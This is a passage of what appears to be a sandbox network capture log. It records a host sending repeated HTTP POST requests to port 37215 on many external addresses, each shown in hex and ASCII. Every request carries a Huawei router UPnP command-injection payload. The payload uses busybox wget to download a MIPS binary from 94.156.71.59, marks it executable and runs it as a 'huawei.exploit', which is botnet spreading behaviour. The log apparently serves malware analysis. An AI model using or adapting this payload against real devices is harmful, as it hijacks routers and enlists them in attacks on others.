6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.13	42506	197.235.137.220	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.032756090 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.13	36414	156.115.29.3	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.033458948 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.13	36348	41.222.149.196	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.034176111 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.13	34742	156.230.39.62	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.034889936 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.13	41890	197.253.99.100	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.035608053 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.13	50702	156.238.163.110	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.036323071 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.13	33786	156.179.78.181	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.037044048 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.13	50096	156.175.16.45	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.037729979 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.13	51092	197.21.231.68	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.038460970 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.13	46642	41.205.70.44	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:00.039202929 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.13	38456	156.139.95.100	37215

Timestamp	Bytes transferred	Direction	Data
